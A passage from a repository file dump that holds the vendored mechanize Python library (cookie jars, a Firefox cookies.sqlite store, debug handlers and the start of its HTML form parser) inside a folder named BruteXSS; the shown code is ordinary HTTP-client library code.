path[:i+1]\n            if len(path) == 0: path = \"/\"\n\n        # set default domain\n        domain_specified = domain is not Absent\n        # but first we have to remember whether it starts with a dot\n        domain_initial_dot = False\n        if domain_specified:\n            domain_initial_dot = bool(domain.startswith(\".\"))\n        if domain is Absent:\n            req_host, erhn = eff_request_host_lc(request)\n            domain = erhn\n        elif not domain.startswith(\".\"):\n            domain = \".\"+domain\n\n        # set default port\n        port_specified = False\n        if port is not Absent:\n            if port is None:\n                # Port attr present, but has no value: default to request port.\n                # Cookie should then only be sent back on that port.\n                port = request_port(request)\n            else:\n                port_specified = True\n                port = re.sub(r\"\\s+\", \"\", port)\n        else:\n            # No port attr present.  Cookie can be sent back on any port.\n            port = None\n\n        # set default expires and discard\n        if expires is Absent:\n            expires = None\n            discard = True\n\n        return Cookie(version,\n                      name, value,\n                      port, port_specified,\n                      domain, domain_specified, domain_initial_dot,\n                      path, path_specified,\n                      secure,\n                      expires,\n                      discard,\n                      comment,\n                      comment_url,\n                      rest)\n\n    def _cookies_from_attrs_set(self, attrs_set, request):\n        cookie_tuples = self._normalized_cookie_tuples(attrs_set)\n\n        cookies = []\n        for tup in cookie_tuples:\n            cookie = self._cookie_from_cookie_tuple(tup, request)\n            if cookie: cookies.append(cookie)\n        return cookies\n\n    def _process_rfc2109_cookies(self, cookies):\n        if self._policy.rfc2109_as_netscape is None:\n            rfc2109_as_netscape = not self._policy.rfc2965\n        else:\n            rfc2109_as_netscape = self._policy.rfc2109_as_netscape\n        for cookie in cookies:\n            if cookie.version == 1:\n                cookie.rfc2109 = True\n                if rfc2109_as_netscape: \n                    # treat 2109 cookies as Netscape cookies rather than\n                    # as RFC2965 cookies\n                    cookie.version = 0\n\n    def _make_cookies(self, response, request):\n        # get cookie-attributes for RFC 2965 and Netscape protocols\n        headers = response.info()\n        rfc2965_hdrs = headers.getheaders(\"Set-Cookie2\")\n        ns_hdrs = headers.getheaders(\"Set-Cookie\")\n\n        rfc2965 = self._policy.rfc2965\n        netscape = self._policy.netscape\n\n        if ((not rfc2965_hdrs and not ns_hdrs) or\n            (not ns_hdrs and not rfc2965) or\n            (not rfc2965_hdrs and not netscape) or\n            (not netscape and not rfc2965)):\n            return []  # no relevant cookie headers: quick exit\n\n        try:\n            cookies = self._cookies_from_attrs_set(\n                split_header_words(rfc2965_hdrs), request)\n        except:\n            reraise_unmasked_exceptions()\n            cookies = []\n\n        if ns_hdrs and netscape:\n            try:\n                # RFC 2109 and Netscape cookies\n                ns_cookies = self._cookies_from_attrs_set(\n                    parse_ns_headers(ns_hdrs), request)\n            except:\n                reraise_unmasked_exceptions()\n                ns_cookies = []\n            self._process_rfc2109_cookies(ns_cookies)\n\n            # Look for Netscape cookies (from Set-Cookie headers) that match\n            # corresponding RFC 2965 cookies (from Set-Cookie2 headers).\n            # For each match, keep the RFC 2965 cookie and ignore the Netscape\n            # cookie (RFC 2965 section 9.1).  Actually, RFC 2109 cookies are\n            # bundled in with the Netscape cookies for this purpose, which is\n            # reasonable behaviour.\n            if rfc2965:\n                lookup = {}\n                for cookie in cookies:\n                    lookup[(cookie.domain, cookie.path, cookie.name)] = None\n\n                def no_matching_rfc2965(ns_cookie, lookup=lookup):\n                    key = ns_cookie.domain, ns_cookie.path, ns_cookie.name\n                    return not lookup.has_key(key)\n                ns_cookies = filter(no_matching_rfc2965, ns_cookies)\n\n            if ns_cookies:\n                cookies.extend(ns_cookies)\n\n        return cookies\n\n    def make_cookies(self, response, request):\n        \"\"\"Return sequence of Cookie objects extracted from response object.\n\n        See extract_cookies.__doc__ for the interface required of the\n        response and request arguments.\n\n        \"\"\"\n        self._policy._now = self._now = int(time.time())\n        return [cookie for cookie in self._make_cookies(response, request)\n                if cookie.expires is None or not cookie.expires <= self._now]\n\n    def set_cookie_if_ok(self, cookie, request):\n        \"\"\"Set a cookie if policy says it's OK to do so.\n\n        cookie: mechanize.Cookie instance\n        request: see extract_cookies.__doc__ for the required interface\n\n        \"\"\"\n        self._policy._now = self._now = int(time.time())\n\n        if self._policy.set_ok(cookie, request):\n            self.set_cookie(cookie)\n\n    def set_cookie(self, cookie):\n        \"\"\"Set a cookie, without checking whether or not it should be set.\n\n        cookie: mechanize.Cookie instance\n        \"\"\"\n        c = self._cookies\n        if not c.has_key(cookie.domain): c[cookie.domain] = {}\n        c2 = c[cookie.domain]\n        if not c2.has_key(cookie.path): c2[cookie.path] = {}\n        c3 = c2[cookie.path]\n        c3[cookie.name] = cookie\n\n    def extract_cookies(self, response, request):\n        \"\"\"Extract cookies from response, where allowable given the request.\n\n        Look for allowable Set-Cookie: and Set-Cookie2: headers in the response\n        object passed as argument.  Any of these headers that are found are\n        used to update the state of the object (subject to the policy.set_ok\n        method's approval).\n\n        The response object (usually be the result of a call to\n        mechanize.urlopen, or similar) should support an info method, which\n        returns a mimetools.Message object (in fact, the 'mimetools.Message\n        object' may be any object that provides a getheaders method).\n\n        The request object (usually a mechanize.Request instance) must support\n        the methods get_full_url, get_type, get_host, and is_unverifiable, as\n        documented by mechanize, and the port attribute (the port number).  The\n        request is used to set default values for cookie-attributes as well as\n        for checking that the cookie is OK to be set.\n\n        \"\"\"\n        debug(\"extract_cookies: %s\", response.info())\n        self._policy._now = self._now = int(time.time())\n\n        for cookie in self._make_cookies(response, request):\n            if cookie.expires is not None and cookie.expires <= self._now:\n                # Expiry date in past is request to delete cookie.  This can't be\n                # in DefaultCookiePolicy, because can't delete cookies there.\n                try:\n                    self.clear(cookie.domain, cookie.path, cookie.name)\n                except KeyError:\n                    pass\n                debug(\"Expiring cookie, domain='%s', path='%s', name='%s'\",\n                      cookie.domain, cookie.path, cookie.name)\n            elif self._policy.set_ok(cookie, request):\n                debug(\" setting cookie: %s\", cookie)\n                self.set_cookie(cookie)\n\n    def clear(self, domain=None, path=None, name=None):\n        \"\"\"Clear some cookies.\n\n        Invoking this method without arguments will clear all cookies.  If\n        given a single argument, only cookies belonging to that domain will be\n        removed.  If given two arguments, cookies belonging to the specified\n        path within that domain are removed.  If given three arguments, then\n        the cookie with the specified name, path and domain is removed.\n\n        Raises KeyError if no matching cookie exists.\n\n        \"\"\"\n        if name is not None:\n            if (domain is None) or (path is None):\n                raise ValueError(\n                    \"domain and path must be given to remove a cookie by name\")\n            del self._cookies[domain][path][name]\n        elif path is not None:\n            if domain is None:\n                raise ValueError(\n                    \"domain must be given to remove cookies by path\")\n            del self._cookies[domain][path]\n        elif domain is not None:\n            del self._cookies[domain]\n        else:\n            self._cookies = {}\n\n    def clear_session_cookies(self):\n        \"\"\"Discard all session cookies.\n\n        Discards all cookies held by object which had either no Max-Age or\n        Expires cookie-attribute or an explicit Discard cookie-attribute, or\n        which otherwise have ended up with a true discard attribute.  For\n        interactive browsers, the end of a session usually corresponds to\n        closing the browser window.\n\n        Note that the save method won't save session cookies anyway, unless you\n        ask otherwise by passing a true ignore_discard argument.\n\n        \"\"\"\n        for cookie in self:\n            if cookie.discard:\n                self.clear(cookie.domain, cookie.path, cookie.name)\n\n    def clear_expired_cookies(self):\n        \"\"\"Discard all expired cookies.\n\n        You probably don't need to call this method: expired cookies are never\n        sent back to the server (provided you're using DefaultCookiePolicy),\n        this method is called by CookieJar itself every so often, and the save\n        method won't save expired cookies anyway (unless you ask otherwise by\n        passing a true ignore_expires argument).\n\n        \"\"\"\n        now = time.time()\n        for cookie in self:\n            if cookie.is_expired(now):\n                self.clear(cookie.domain, cookie.path, cookie.name)\n\n    def __getitem__(self, i):\n        if i == 0:\n            self._getitem_iterator = self.__iter__()\n        elif self._prev_getitem_index != i-1: raise IndexError(\n            \"CookieJar.__getitem__ only supports sequential iteration\")\n        self._prev_getitem_index = i\n        try:\n            return self._getitem_iterator.next()\n        except StopIteration:\n            raise IndexError()\n\n    def __iter__(self):\n        return MappingIterator(self._cookies)\n\n    def __len__(self):\n        \"\"\"Return number of contained cookies.\"\"\"\n        i = 0\n        for cookie in self: i = i + 1\n        return i\n\n    def __repr__(self):\n        r = []\n        for cookie in self: r.append(repr(cookie))\n        return \"<%s[%s]>\" % (self.__class__, \", \".join(r))\n\n    def __str__(self):\n        r = []\n        for cookie in self: r.append(str(cookie))\n        return \"<%s[%s]>\" % (self.__class__, \", \".join(r))\n\n\nclass LoadError(Exception): pass\n\nclass FileCookieJar(CookieJar):\n    \"\"\"CookieJar that can be loaded from and saved to a file.\n\n    Additional methods\n\n    save(filename=None, ignore_discard=False, ignore_expires=False)\n    load(filename=None, ignore_discard=False, ignore_expires=False)\n    revert(filename=None, ignore_discard=False, ignore_expires=False)\n\n    Additional public attributes\n\n    filename: filename for loading and saving cookies\n\n    Additional public readable attributes\n\n    delayload: request that cookies are lazily loaded from disk; this is only\n     a hint since this only affects performance, not behaviour (unless the\n     cookies on disk are changing); a CookieJar object may ignore it (in fact,\n     only MSIECookieJar lazily loads cookies at the moment)\n\n    \"\"\"\n\n    def __init__(self, filename=None, delayload=False, policy=None):\n        \"\"\"\n        See FileCookieJar.__doc__ for argument documentation.\n\n        Cookies are NOT loaded from the named file until either the load or\n        revert method is called.\n\n        \"\"\"\n        CookieJar.__init__(self, policy)\n        if filename is not None and not isstringlike(filename):\n            raise ValueError(\"filename must be string-like\")\n        self.filename = filename\n        self.delayload = bool(delayload)\n\n    def save(self, filename=None, ignore_discard=False, ignore_expires=False):\n        \"\"\"Save cookies to a file.\n\n        filename: name of file in which to save cookies\n        ignore_discard: save even cookies set to be discarded\n        ignore_expires: save even cookies that have expired\n\n        The file is overwritten if it already exists, thus wiping all its\n        cookies.  Saved cookies can be restored later using the load or revert\n        methods.  If filename is not specified, self.filename is used; if\n        self.filename is None, ValueError is raised.\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def load(self, filename=None, ignore_discard=False, ignore_expires=False):\n        \"\"\"Load cookies from a file.\n\n        Old cookies are kept unless overwritten by newly loaded ones.\n\n        Arguments are as for .save().\n\n        If filename is not specified, self.filename is used; if self.filename\n        is None, ValueError is raised.  The named file must be in the format\n        understood by the class, or LoadError will be raised.  This format will\n        be identical to that written by the save method, unless the load format\n        is not sufficiently well understood (as is the case for MSIECookieJar).\n\n        \"\"\"\n        if filename is None:\n            if self.filename is not None: filename = self.filename\n            else: raise ValueError(MISSING_FILENAME_TEXT)\n\n        f = open(filename)\n        try:\n            self._really_load(f, filename, ignore_discard, ignore_expires)\n        finally:\n            f.close()\n\n    def revert(self, filename=None,\n               ignore_discard=False, ignore_expires=False):\n        \"\"\"Clear all cookies and reload cookies from a saved file.\n\n        Raises LoadError (or IOError) if reversion is not successful; the\n        object's state will not be altered if this happens.\n\n        \"\"\"\n        if filename is None:\n            if self.filename is not None: filename = self.filename\n            else: raise ValueError(MISSING_FILENAME_TEXT)\n\n        old_state = copy.deepcopy(self._cookies)\n        self._cookies = {}\n        try:\n            self.load(filename, ignore_discard, ignore_expires)\n        except (LoadError, IOError):\n            self._cookies = old_state\n            raise\n"
  },
  {
    "path": "BruteXSS/mechanize/_debug.py",
    "content": "import logging\n\nfrom _response import response_seek_wrapper\nfrom _urllib2_fork import BaseHandler\n\n\nclass HTTPResponseDebugProcessor(BaseHandler):\n    handler_order = 900  # before redirections, after everything else\n\n    def http_response(self, request, response):\n        if not hasattr(response, \"seek\"):\n            response = response_seek_wrapper(response)\n        info = logging.getLogger(\"mechanize.http_responses\").info\n        try:\n            info(response.read())\n        finally:\n            response.seek(0)\n        info(\"*****************************************************\")\n        return response\n\n    https_response = http_response\n\nclass HTTPRedirectDebugProcessor(BaseHandler):\n    def http_request(self, request):\n        if hasattr(request, \"redirect_dict\"):\n            info = logging.getLogger(\"mechanize.http_redirects\").info\n            info(\"redirecting to %s\", request.get_full_url())\n        return request\n"
  },
  {
    "path": "BruteXSS/mechanize/_firefox3cookiejar.py",
    "content": "\"\"\"Firefox 3 \"cookies.sqlite\" cookie persistence.\n\nCopyright 2008 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport logging\nimport time\n\nfrom _clientcookie import CookieJar, Cookie, MappingIterator\nfrom _util import isstringlike, experimental\ndebug = logging.getLogger(\"mechanize.cookies\").debug\n\n\nclass Firefox3CookieJar(CookieJar):\n\n    \"\"\"Firefox 3 cookie jar.\n\n    The cookies are stored in Firefox 3's \"cookies.sqlite\" format.\n\n    Constructor arguments:\n\n    filename: filename of cookies.sqlite (typically found at the top level\n     of a firefox profile directory)\n    autoconnect: as a convenience, connect to the SQLite cookies database at\n     Firefox3CookieJar construction time (default True)\n    policy: an object satisfying the mechanize.CookiePolicy interface\n\n    Note that this is NOT a FileCookieJar, and there are no .load(),\n    .save() or .restore() methods.  The database is in sync with the\n    cookiejar object's state after each public method call.\n\n    Following Firefox's own behaviour, session cookies are never saved to\n    the database.\n\n    The file is created, and an sqlite database written to it, if it does\n    not already exist. The moz_cookies database table is created if it does\n    not already exist.\n    \"\"\"\n\n    # XXX\n    # handle DatabaseError exceptions\n    # add a FileCookieJar (explicit .save() / .revert() / .load() methods)\n\n    def __init__(self, filename, autoconnect=True, policy=None):\n        experimental(\"Firefox3CookieJar is experimental code\")\n        CookieJar.__init__(self, policy)\n        if filename is not None and not isstringlike(filename):\n            raise ValueError(\"filename must be string-like\")\n        self.filename = filename\n        self._conn = None\n        if autoconnect:\n            self.connect()\n\n    def connect(self):\n        import sqlite3  # not available in Python 2.4 stdlib\n        self._conn = sqlite3.connect(self.filename)\n        self._conn.isolation_level = \"DEFERRED\"\n        self._create_table_if_necessary()\n\n    def close(self):\n        self._conn.close()\n\n    def _transaction(self, func):\n        try:\n            cur = self._conn.cursor()\n            try:\n                result = func(cur)\n            finally:\n                cur.close()\n        except:\n            self._conn.rollback()\n            raise\n        else:\n            self._conn.commit()\n        return result\n\n    def _execute(self, query, params=()):\n        return self._transaction(lambda cur: cur.execute(query, params))\n\n    def _query(self, query, params=()):\n        # XXX should we bother with a transaction?\n        cur = self._conn.cursor()\n        try:\n            cur.execute(query, params)\n            return cur.fetchall()\n        finally:\n            cur.close()\n\n    def _create_table_if_necessary(self):\n        self._execute(\"\"\"\\\nCREATE TABLE IF NOT EXISTS moz_cookies (id INTEGER PRIMARY KEY, name TEXT,\n    value TEXT, host TEXT, path TEXT,expiry INTEGER,\n    lastAccessed INTEGER, isSecure INTEGER, isHttpOnly INTEGER)\"\"\")\n\n    def _cookie_from_row(self, row):\n        (pk, name, value, domain, path, expires,\n         last_accessed, secure, http_only) = row\n\n        version = 0\n        domain = domain.encode(\"ascii\", \"ignore\")\n        path = path.encode(\"ascii\", \"ignore\")\n        name = name.encode(\"ascii\", \"ignore\")\n        value = value.encode(\"ascii\", \"ignore\")\n        secure = bool(secure)\n\n        # last_accessed isn't a cookie attribute, so isn't added to rest\n        rest = {}\n        if http_only:\n            rest[\"HttpOnly\"] = None\n\n        if name == \"\":\n            name = value\n            value = None\n\n        initial_dot = domain.startswith(\".\")\n        domain_specified = initial_dot\n\n        discard = False\n        if expires == \"\":\n            expires = None\n            discard = True\n\n        return Cookie(version, name, value,\n                      None, False,\n                      domain, domain_specified, initial_dot,\n                      path, False,\n                      secure,\n                      expires,\n                      discard,\n                      None,\n                      None,\n                      rest)\n\n    def clear(self, domain=None, path=None, name=None):\n        CookieJar.clear(self, domain, path, name)\n        where_parts = []\n        sql_params = []\n        if domain is not None:\n            where_parts.append(\"host = ?\")\n            sql_params.append(domain)\n            if path is not None:\n                where_parts.append(\"path = ?\")\n                sql_params.append(path)\n                if name is not None:\n                    where_parts.append(\"name = ?\")\n                    sql_params.append(name)\n        where = \" AND \".join(where_parts)\n        if where:\n            where = \" WHERE \" + where\n        def clear(cur):\n            cur.execute(\"DELETE FROM moz_cookies%s\" % where,\n                        tuple(sql_params))\n        self._transaction(clear)\n\n    def _row_from_cookie(self, cookie, cur):\n        expires = cookie.expires\n        if cookie.discard:\n            expires = \"\"\n\n        domain = unicode(cookie.domain)\n        path = unicode(cookie.path)\n        name = unicode(cookie.name)\n        value = unicode(cookie.value)\n        secure = bool(int(cookie.secure))\n\n        if value is None:\n            value = name\n            name = \"\"\n\n        last_accessed = int(time.time())\n        http_only = cookie.has_nonstandard_attr(\"HttpOnly\")\n\n        query = cur.execute(\"\"\"SELECT MAX(id) + 1 from moz_cookies\"\"\")\n        pk = query.fetchone()[0]\n        if pk is None:\n            pk = 1\n\n        return (pk, name, value, domain, path, expires,\n                last_accessed, secure, http_only)\n\n    def set_cookie(self, cookie):\n        if cookie.discard:\n            CookieJar.set_cookie(self, cookie)\n            return\n\n        def set_cookie(cur):\n            # XXX\n            # is this RFC 2965-correct?\n            # could this do an UPDATE instead?\n            row = self._row_from_cookie(cookie, cur)\n            name, unused, domain, path = row[1:5]\n            cur.execute(\"\"\"\\\nDELETE FROM moz_cookies WHERE host = ? AND path = ? AND name = ?\"\"\",\n                        (domain, path, name))\n            cur.execute(\"\"\"\\\nINSERT INTO moz_cookies VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\n\"\"\", row)\n        self._transaction(set_cookie)\n\n    def __iter__(self):\n        # session (non-persistent) cookies\n        for cookie in MappingIterator(self._cookies):\n            yield cookie\n        # persistent cookies\n        for row in self._query(\"\"\"\\\nSELECT * FROM moz_cookies ORDER BY name, path, host\"\"\"):\n            yield self._cookie_from_row(row)\n\n    def _cookies_for_request(self, request):\n        session_cookies = CookieJar._cookies_for_request(self, request)\n        def get_cookies(cur):\n            query = cur.execute(\"SELECT host from moz_cookies\")\n            domains = [row[0] for row in query.fetchall()]\n            cookies = []\n            for domain in domains:\n                cookies += self._persistent_cookies_for_domain(domain,\n                                                               request, cur)\n            return cookies\n        persistent_coookies = self._transaction(get_cookies)\n        return session_cookies + persistent_coookies\n\n    def _persistent_cookies_for_domain(self, domain, request, cur):\n        cookies = []\n        if not self._policy.domain_return_ok(domain, request):\n            return []\n        debug(\"Checking %s for cookies to return\", domain)\n        query = cur.execute(\"\"\"\\\nSELECT * from moz_cookies WHERE host = ? ORDER BY path\"\"\",\n                            (domain,))\n        cookies = [self._cookie_from_row(row) for row in query.fetchall()]\n        last_path = None\n        r = []\n        for cookie in cookies:\n            if (cookie.path != last_path and\n                not self._policy.path_return_ok(cookie.path, request)):\n                last_path = cookie.path\n                continue\n            if not self._policy.return_ok(cookie, request):\n                debug(\"   not returning cookie\")\n                continue\n            debug(\"   it's a match\")\n            r.append(cookie)\n        return r\n"
  },
  {
    "path": "BruteXSS/mechanize/_form.py",
    "content": "\"\"\"HTML form handling for web clients.\n\nHTML form handling for web clients: useful for parsing HTML forms, filling them\nin and returning the completed forms to the server.  This code developed from a\nport of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but\nthe interface is not the same.\n\nThe most useful docstring is the one for HTMLForm.\n\nRFC 1866: HTML 2.0\nRFC 1867: Form-based File Upload in HTML\nRFC 2388: Returning Values from Forms: multipart/form-data\nHTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX)\nHTML 4.01 Specification, W3C Recommendation 24 December 1999\n\n\nCopyright 2002-2007 John J. Lee <jjl@pobox.com>\nCopyright 2005 Gary Poster\nCopyright 2005 Zope Corporation\nCopyright 1998-2000 Gisle Aas.\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\n# TODO:\n# Clean up post the merge into mechanize\n#  * Remove code that was duplicated in ClientForm and mechanize\n#  * Remove weird import stuff\n#  * Remove pre-Python 2.4 compatibility cruft\n#  * Clean up tests\n#  * Later release: Remove the ClientForm 0.1 backwards-compatibility switch\n# Remove parser testing hack\n# Clean action URI\n# Switch to unicode throughout\n#  See Wichert Akkerman's 2004-01-22 message to c.l.py.\n# Apply recommendations from google code project CURLIES\n# Apply recommendations from HTML 5 spec\n# Add charset parameter to Content-type headers?  How to find value??\n# Functional tests to add:\n#  Single and multiple file upload\n#  File upload with missing name (check standards)\n# mailto: submission & enctype text/plain??\n\n# Replace by_label etc. with moniker / selector concept.  Allows, e.g., a\n#  choice between selection by value / id / label / element contents.  Or\n#  choice between matching labels exactly or by substring.  etc.\n\n\n__all__ = ['AmbiguityError', 'CheckboxControl', 'Control',\n           'ControlNotFoundError', 'FileControl', 'FormParser', 'HTMLForm',\n           'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl',\n           'Item', 'ItemCountError', 'ItemNotFoundError', 'Label',\n           'ListControl', 'LocateError', 'Missing', 'ParseError', 'ParseFile',\n           'ParseFileEx', 'ParseResponse', 'ParseResponseEx','PasswordControl',\n           'RadioControl', 'ScalarControl', 'SelectControl',\n           'SubmitButtonControl', 'SubmitControl', 'TextControl',\n           'TextareaControl', 'XHTMLCompatibleFormParser']\n\nimport HTMLParser\nfrom cStringIO import StringIO\nimport inspect\nimport logging\nimport random\nimport re\nimport sys\nimport urllib\nimport urlparse\nimport warnings\n\nimport _beautifulsoup\nimport _request\n\n# from Python itself, for backwards compatibility of raised exceptions\nimport sgmllib\n# bundled copy of sgmllib\nimport _sgmllib_copy\n\n\nVERSION = \"0.2.11\"\n\nCHUNK = 1024  # size of chunks fed to parser, in bytes\n\nDEFAULT_ENCODING = \"latin-1\"\n\n_logger = logging.getLogger(\"mechanize.forms\")\nOPTIMIZATION_HACK = True\n\ndef debug(msg, *args, **kwds):\n    if OPTIMIZATION_HACK:\n        return\n\n    caller_name = inspect.stack()[1][3]\n    extended_msg = '%%s %s' % msg\n    extended_args = (caller_name,)+args\n    _logger.debug(extended_msg, *extended_args, **kwds)\n\ndef _show_debug_messages():\n    global OPTIMIZATION_HACK\n    OPTIMIZATION_HACK = False\n    _logger.setLevel(logging.DEBUG)\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setLevel(logging.DEBUG)\n    _logger.addHandler(handler)\n\n\ndef deprecation(message, stack_offset=0):\n    warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset)\n\n\nclass Missing: pass\n\n_compress_re = re.compile(r\"\\s+\")\ndef compress_text(text): return _compress_re.sub(\" \", text.strip())\n\ndef normalize_line_endings(text):\n    return re.sub(r\"(?:(?<!\\r)\\n)|(?:\\r(?!\\n))\", \"\\r\\n\", text)\n\n\ndef unescape(data, entities, encoding=DEFAULT_ENCODING):\n    if data is None or \"&\" not in data:\n        return data\n\n    def replace_entities(match, entities=entities, encoding=encoding):\n        ent = match.group()\n        if ent[1] == \"#\":\n            return unescape_charref(ent[2:-1], encoding)\n\n        repl = entities.get(ent)\n        if repl is not None:\n            if type(repl) != type(\"\"):\n                try:\n                    repl = repl.encode(encoding)\n                except UnicodeError:\n                    repl = ent\n        else:\n            repl = ent\n\n        return repl\n\n    return re.sub(r\"&#?[A-Za-z0-9]+?;\", replace_entities, data)\n\ndef unescape_charref(data, encoding):\n    name, base = data, 10\n    if name.startswith(\"x\"):\n        name, base= name[1:], 16\n    uc = unichr(int(name, base))\n    if encoding is None:\n        return uc\n    else:\n        try:\n            repl = uc.encode(encoding)\n        except UnicodeError:\n            repl = \"&#%s;\" % data\n        return repl\n\ndef get_entitydefs():\n    import htmlentitydefs\n    from codecs import latin_1_decode\n    entitydefs = {}\n    try:\n        htmlentitydefs.name2codepoint\n    except AttributeError:\n        entitydefs = {}\n        for name, char in htmlentitydefs.entitydefs.items():\n            uc = latin_1_decode(char)[0]\n            if uc.startswith(\"&#\") and uc.endswith(\";\"):\n                uc = unescape_charref(uc[2:-1], None)\n            entitydefs[\"&%s;\" % name] = uc\n    else:\n        for name, codepoint in htmlentitydefs.name2codepoint.items():\n            entitydefs[\"&%s;\" % name] = unichr(codepoint)\n    return entitydefs\n\n\ndef issequence(x):\n    try:\n        x[0]\n    except (TypeError, KeyError):\n        return False\n    except IndexError:\n        pass\n    return True\n\ndef isstringlike(x):\n    try: x+\"\"\n    except: return False\n    else: return True\n\n\ndef choose_boundary():\n    \"\"\"Return a string usable as a multipart boundary.\"\"\"\n    # follow IE and firefox\n    nonce = \"\".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2])\n    return \"-\"*27 + nonce\n\n# This cut-n-pasted MimeWriter from standard library is here so can add\n# to HTTP headers rather than message body when appropriate.  It also uses\n# \\r\\n in place of \\n.  This is a bit nasty.\nclass MimeWriter:\n\n    \"\"\"Generic MIME writer.\n\n    Methods:\n\n    __init__()\n    addheader()\n    flushheaders()\n    startbody()\n    startmultipartbody()\n    nextpart()\n    lastpart()\n\n    A MIME writer is much more primitive than a MIME parser.  It\n    doesn't seek around on the output file, and it doesn't use large\n    amounts of buffer space, so you have to write the parts in the\n    order they should occur on the output file.  It does buffer the\n    headers you add, allowing you to rearrange their order.\n\n    General usage is:\n\n    f = <open the output file>\n    w = MimeWriter(f)\n    ...call w.addheader(key, value) 0 or more times...\n\n    followed by either:\n\n    f = w.startbody(content_type)\n    ...call f.write(data) for body data...\n\n    or:\n\n    w.startmultipartbody(subtype)\n    for each part:\n        subwriter = w.nextpart()\n        ...use the subwriter's methods to create the subpart...\n    w.lastpart()\n\n    The subwriter is another MimeWriter instance, and should be\n    treated in the same way as the toplevel MimeWriter.  This way,\n    writing recursive body parts is easy.\n\n    Warning: don't forget to call lastpart()!\n\n    XXX There should be more state so calls made in the wrong order\n    are detected.\n\n    Some special cases:\n\n    - startbody() just returns the file passed to the constructor;\n      but don't use this knowledge, as it may be changed.\n\n    - startmultipartbody() actually returns a file as well;\n      this can be used to write the initial 'if you can read this your\n      mailer is not MIME-aware' message.\n\n    - If you call flushheaders(), the headers accumulated so far are\n      written out (and forgotten); this is useful if you don't need a\n      body part at all, e.g. for a subpart of type message/rfc822\n      that's (mis)used to store some header-like information.\n\n    - Passing a keyword argument 'prefix=<flag>' to addheader(),\n      start*body() affects where the header is inserted; 0 means\n      append at the end, 1 means insert at the start; default is\n      append for addheader(), but insert for start*body(), which use\n      it to determine where the Content-type header goes.\n\n    \"\"\"\n\n    def __init__(self, fp, http_hdrs=None):\n        self._http_hdrs = http_hdrs\n        self._fp = fp\n        self._headers = []\n        self._boundary = []\n        self._first_part = True\n\n    def addheader(self, key, value, prefix=0,\n                  add_to_http_hdrs=0):\n        \"\"\"\n        prefix is ignored if add_to_http_hdrs is true.\n        \"\"\"\n        lines = value.split(\"\\r\\n\")\n        while lines and not lines[-1]: del lines[-1]\n        while lines and not lines[0]: del lines[0]\n        if add_to_http_hdrs:\n            value = \"\".join(lines)\n            # 2.2 urllib2 doesn't normalize header case\n            self._http_hdrs.append((key.capitalize(), value))\n        else:\n            for i in range(1, len(lines)):\n                lines[i] = \"    \" + lines[i].strip()\n            value = \"\\r\\n\".join(lines) + \"\\r\\n\"\n            line = key.title() + \": \" + value\n            if prefix:\n                self._headers.insert(0, line)\n            else:\n                self._headers.append(line)\n\n    def flushheaders(self):\n        self._fp.writelines(self._headers)\n        self._headers = []\n\n    def startbody(self, ctype=None, plist=[], prefix=1,\n                  add_to_http_hdrs=0, content_type=1):\n        \"\"\"\n        prefix is ignored if add_to_http_hdrs is true.\n        \"\"\"\n        if content_type and ctype:\n            for name, value in plist:\n                ctype = ctype + ';\\r\\n %s=%s' % (name, value)\n            self.addheader(\"Content-Type\", ctype, prefix=prefix,\n                           add_to_http_hdrs=add_to_http_hdrs)\n        self.flushheaders()\n        if not add_to_http_hdrs: self._fp.write(\"\\r\\n\")\n        self._first_part = True\n        return self._fp\n\n    def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1,\n                           add_to_http_hdrs=0, content_type=1):\n        boundary = boundary or choose_boundary()\n        self._boundary.append(boundary)\n        return self.startbody(\"multipart/\" + subtype,\n                              [(\"boundary\", boundary)] + plist,\n                              prefix=prefix,\n                              add_to_http_hdrs=add_to_http_hdrs,\n                              content_type=content_type)\n\n    def nextpart(self):\n        boundary = self._boundary[-1]\n        if self._first_part:\n            self._first_part = False\n        else:\n            self._fp.write(\"\\r\\n\")\n        self._fp.write(\"--\" + boundary + \"\\r\\n\")\n        return self.__class__(self._fp)\n\n    def lastpart(self):\n        if self._first_part:\n            self.nextpart()\n        boundary = self._boundary.pop()\n        self._fp.write(\"\\r\\n--\" + boundary + \"--\\r\\n\")\n\n\nclass LocateError(ValueError): pass\nclass AmbiguityError(LocateError): pass\nclass ControlNotFoundError(LocateError): pass\nclass ItemNotFoundError(LocateError): pass\n\nclass ItemCountError(ValueError): pass\n\n# for backwards compatibility, ParseError derives from exceptions that were\n# raised by versions of ClientForm <= 0.2.5\n# TODO: move to _html\nclass ParseError(sgmllib.SGMLParseError,\n                 HTMLParser.HTMLParseError):\n\n    def __init__(self, *args, **kwds):\n        Exception.__init__(self, *args, **kwds)\n\n    def __str__(self):\n        return Exception.__str__(self)\n\n\nclass _AbstractFormParser:\n    \"\"\"forms attribute contains HTMLForm instances on completion.\"\"\"\n    # thanks to Moshe Zadka for an example of sgmllib/htmllib usage\n    def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING):\n        if entitydefs is None:\n            entitydefs = get_entitydefs()\n        self._entitydefs = entitydefs\n        self._encoding = encoding\n\n        self.base = None\n        self.forms = []\n        self.labels = []\n        self._current_label = None\n        self._current_form = None\n        self._select = None\n        self._optgroup = None\n        self._option = None\n        self._textarea = None\n\n        # forms[0] will contain all controls that are outside of any form\n        # self._global_form is an alias for self.forms[0]\n        self._global_form = None\n        self.start_form([])\n        self.end_form()\n        self._current_form = self._global_form = self.forms[0]\n\n    def do_base(self, attrs):\n        debug(\"%s\", attrs)\n        for key, value in attrs:\n            if key == \"href\":\n                self.base = self.unescape_attr_if_required(value)\n\n    def end_body(self):\n        debug(\"\")\n        if self._current_label is not None:\n            self.end_label()\n        if self._current_form is not self._global_form:\n            self.end_form()\n\n    def start_form(self, attrs):\n        